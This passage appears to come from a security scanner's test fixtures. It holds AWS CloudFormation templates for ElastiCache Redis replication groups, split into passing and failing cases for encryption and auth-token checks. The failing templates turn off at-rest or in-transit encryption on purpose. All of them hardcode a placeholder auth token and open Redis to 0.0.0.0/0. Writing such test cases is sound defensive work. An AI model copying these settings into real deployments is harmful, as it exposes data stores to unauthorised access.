ReplicationGroup:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AuthToken: 'MySecret!AuthToken$'\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      #AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False   ### Optional Parameter - defaults to false\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      #TransitEncryptionEnabled: False\n      TransitEncryptionEnabled: True\nOutputs:\n  RGEndpoint:\n    Description: The primary endpoint location\n    Value: !Join \n      - ''\n      - - 'redis://'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Address\n        - ':'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Port\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtRest/ElasticacheReplicationGroupEncryptionAtRest-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroup:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AuthToken: 'MySecret!AuthToken$'\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      #AtRestEncryptionEnabled: True\n      AtRestEncryptionEnabled: False\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      #TransitEncryptionEnabled: False\n      TransitEncryptionEnabled: True\nOutputs:\n  RGEndpoint:\n    Description: The primary endpoint location\n    Value: !Join \n      - ''\n      - - 'redis://'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Address\n        - ':'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Port\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtRest/ElasticacheReplicationGroupEncryptionAtRest-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroup:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AuthToken: 'MySecret!AuthToken$'\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False\t# Optional parameter\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      #TransitEncryptionEnabled: False\n      TransitEncryptionEnabled: True\nOutputs:\n  RGEndpoint:\n    Description: The primary endpoint location\n    Value: !Join \n      - ''\n      - - 'redis://'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Address\n        - ':'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Port\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransit/ElasticacheReplicationGroupEncryptionAtTransit-FAILED-2.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroup:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AuthToken: 'MySecret!AuthToken$'\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False\t# Optional parameter\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\nOutputs:\n  RGEndpoint:\n    Description: The primary endpoint location\n    Value: !Join \n      - ''\n      - - 'redis://'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Address\n        - ':'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Port\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransit/ElasticacheReplicationGroupEncryptionAtTransit-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroup:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AuthToken: 'MySecret!AuthToken$'\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False\t# Optional parameter\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      TransitEncryptionEnabled: False\n      #TransitEncryptionEnabled: True\nOutputs:\n  RGEndpoint:\n    Description: The primary endpoint location\n    Value: !Join \n      - ''\n      - - 'redis://'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Address\n        - ':'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Port\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransit/ElasticacheReplicationGroupEncryptionAtTransit-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range with day of week, for example\n      sun:22:00-sun:23:30\n  SubnetA:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\n  SubnetB:\n    Description: >-\n      One of the subnets you would like the ReplicationGroup to be created in. In this example we only accept 2 subnets\n    Type: 'AWS::EC2::Subnet::Id'\nResources:\n  SecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      GroupDescription: Security Group for Example Replication Group\n      SecurityGroupIngress:\n        - Description: Redis Traffic\n          CidrIp: !Ref CidrIp\n          FromPort: !Ref RedisPort\n          ToPort: !Ref RedisPort\n          IpProtocol: tcp\n      VpcId: !Ref VpcId\n  SubnetGroup:\n    Type: 'AWS::ElastiCache::SubnetGroup'\n    Properties:\n      Description: Subnet Group for Example Replication Group\n      SubnetIds:\n        - !Ref SubnetA\n        - !Ref SubnetB\n  ReplicationGroup:\n    Type: 'AWS::ElastiCache::ReplicationGroup'\n    Properties:\n      AuthToken: 'MySecret!AuthToken$'\n      AutomaticFailoverEnabled: !Ref MultiAZSupport\n      AtRestEncryptionEnabled: True\n      #AtRestEncryptionEnabled: False\t# Optional parameter\n      CacheNodeType: !Ref CacheNodeType\n      CacheSubnetGroupName: !Ref SubnetGroup\n      Engine: redis\n      NumCacheClusters: !Ref NumCacheClusters\n      Port: !Ref RedisPort\n      PreferredMaintenanceWindow: !Ref PreferredMaintenanceWindow\n      ReplicationGroupDescription: !Ref ReplicationGroupDescription\n      SecurityGroupIds:\n        - !GetAtt \n          - SecurityGroup\n          - GroupId\n      SnapshotRetentionLimit: !Ref SnapshotRetentionLimit\n      SnapshotWindow: !Ref SnapshotWindow\n      #TransitEncryptionEnabled: False\n      TransitEncryptionEnabled: True\nOutputs:\n  RGEndpoint:\n    Description: The primary endpoint location\n    Value: !Join \n      - ''\n      - - 'redis://'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Address\n        - ':'\n        - !GetAtt \n          - ReplicationGroup\n          - PrimaryEndPoint.Port\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_ElasticacheReplicationGroupEncryptionAtTransitAuthToken/ElasticacheReplicationGroupEncryptionAtTransitAuthToken-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: 2010-09-09\nDescription: >-\n  An example template that stands up an ElastiCache Replication Group Multi-AZ in a particular VPC specifying then a Subnet Group and a Security Group, VpcId is not directly referenced by the Replication Group resource, and is instead inferred by the Security Group and Subnet Group.\nParameters:\n  CacheNodeType:\n    Description: The instance type the nodes will launch under.\n    Type: String\n    Default: cache.m3.medium\n    AllowedValues:\n      - cache.t2.micro\n      - cache.t2.small\n      - cache.t2.medium\n      - cache.m3.medium\n      - cache.m3.large\n      - cache.m3.xlarge\n      - cache.m3.2xlarge\n      - cache.r3.large\n      - cache.r3.xlarge\n      - cache.r3.2xlarge\n      - cache.r3.4xlarge\n      - cache.r3.8xlarge\n  MultiAZSupport:\n    Description: >-\n      Indicates whether Multi-AZ is enabled. When Multi-AZ is enabled, a\n      read-only replica is automatically promoted to a read-write primary\n      cluster if the existing primary cluster fails. If you specify true, you must specify a value greater than 1 for the NumCacheClusters property.\n    Type: String\n    Default: 'true'\n    AllowedValues:\n      - 'true'\n      - 'false'\n  NumCacheClusters:\n    Description: >-\n      The number of cache clusters for this replication group. If MultiAZ\n      support is enabled, you must specify a value greater than 1.\n    Default: '2'\n    Type: Number\n    MinValue: '1'\n    MaxValue: '6'\n  RedisPort:\n    Description: >-\n      The port number on which each member of the replication group accepts\n      connections.\n    Type: Number\n    Default: '6379'\n    MinValue: '1'\n    MaxValue: '65535'\n  ReplicationGroupDescription:\n    Description: The description of the replication group.\n    Type: String\n    Default: Example replication group\n  VpcId:\n    Description: The VPC to create this ReplicationGroup under\n    Type: 'AWS::EC2::VPC::Id'\n  CidrIp:\n    Description: The CIDR you want to access to the Replication Group\n    Type: String\n    Default: 0.0.0.0/0\n    AllowedPattern: '(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})'\n    MinLength: '9'\n    MaxLength: '18'\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x\n  SnapshotRetentionLimit:\n    Description: >-\n      The number of days that ElastiCache retains automatic snapshots before\n      deleting them.\n    Type: Number\n    Default: '7'\n  SnapshotWindow:\n    Description: >-\n      The time range (in UTC) when ElastiCache takes a daily snapshot of your node group.\n    Type: String\n    Default: '05:00-09:00'\n    AllowedPattern: '\\d{2}:\\d{2}-\\d{2}:\\d{2}'\n    ConstraintDescription: 'must be a valid timestamp range, for example 05:00-09:00'\n  PreferredMaintenanceWindow:\n    Description: >-\n      The weekly time range during which system maintenance can occur. Use the following format to specify a time range: ddd:hh24:mi-ddd:hh24:mi (24H Clock UTC).\n    Type: String\n    Default: 'sun:22:00-sun:23:30'\n    AllowedPattern: >-\n      (mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}-(mon|tue|wed|thu|fri|sat|sun):\\d{2}:\\d{2}\n    ConstraintDescription: >-\n      must be a valid timestamp range 